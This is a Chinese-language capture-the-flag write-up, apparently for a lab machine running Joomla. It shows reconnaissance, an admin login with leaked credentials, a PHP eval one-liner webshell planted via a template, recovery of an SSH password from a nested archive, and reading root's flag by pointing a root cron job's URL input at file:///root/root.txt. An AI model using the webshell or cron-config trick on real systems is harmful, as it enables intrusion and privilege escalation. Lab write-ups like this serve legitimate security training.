打开目标页面后并没什么思路,上来先 nmap
扫了一下发现开了 22、80
端口,打开页面后发现是个博客。
按照简单题的尿性页面上肯定会留下些线索的,比如:
现在假设用户名是 Floris
,随后去登录表单试一波弱口令,并没有什么卵用,而且找回用户名和密码都需要邮箱,而网站页面内容翻遍了并没有存在邮箱信息。
接着查看页面源代码,发现收获:
知道了这个博客用的 Joomla
,secret.txt
文件内容解码后是 Curling2018!
。
随后用 kali 自带的 joomscan
工具扫一下,版本是 3.8.8(这个版本暂时没什么高危漏洞),得知后台地址 Admin page : http://10.10.10.150/administrator/
。
试试 Floris:Curling2018!
,成功进入后台。
在网上找到一个 Templates
上传shell的方法,随便在任意目录下点击 create
按钮创建 PHP 后缀文件,随后写入一句话脚本,比如我就写在 http://10.10.10.150/templates/beez3/info.php
,内容为<?php eval($_GET['x']);
。
找到 /home/floris
文件夹下存在 user.txt
,但因为是 www-data
权限无法获取该文件内容,查看目录下的 password_backup
文件。
拷贝下来后执行恢复操作,最终得到 5d<wdCbdZu)|hChXll
。
$ xxd -r pw > pw1
$ bzip2 -d pw1
$ mv pw1.out pw1.gz
$ gunzip pw1.gz
$ bzip2 -d pw1
$ tar zvxf pw1.out
$ cat password.txt
5d<wdCbdZu)|hChXll
这时候 ssh 连接上服务器输出 user.txt
就可以拿到第一个 flag 了。
目录中存在 /admin-area
,文件夹里面含有两个文件 input
、report
,分别表示 输入
、报告
的意思。
input
文件内容为:url = "http://127.0.0.1"
,report
内容为首页 html
内容。
将 input
文件的内容改为:url = "http://127.0.0.1/secret.txt"
,观察返回内容。
这里有可能存在文件读取,接着将 input
改为 url = "file:///root/root.txt"
,的到 flag。
不过这里有坑,因为使用的是免费账号的原因,网速慢还时不时会卡顿,shell经常假死,能拿到 shell 是属运气。
在网上找到两个 WriteUp
,一个是使用 pspy
查看计划任务:
还有一个是通过 shell
不断的去查看新的进程找到定时任务执行的命令:
$ while true; do ps -ef | grep sh | grep -v sshd |grep root;done;
随后条件竞争,不断写入文件,直至看到 report
文件中输出 flag:
$ while true; do cp -p /tmp/1.txt /home/floris/admin-area/input;done;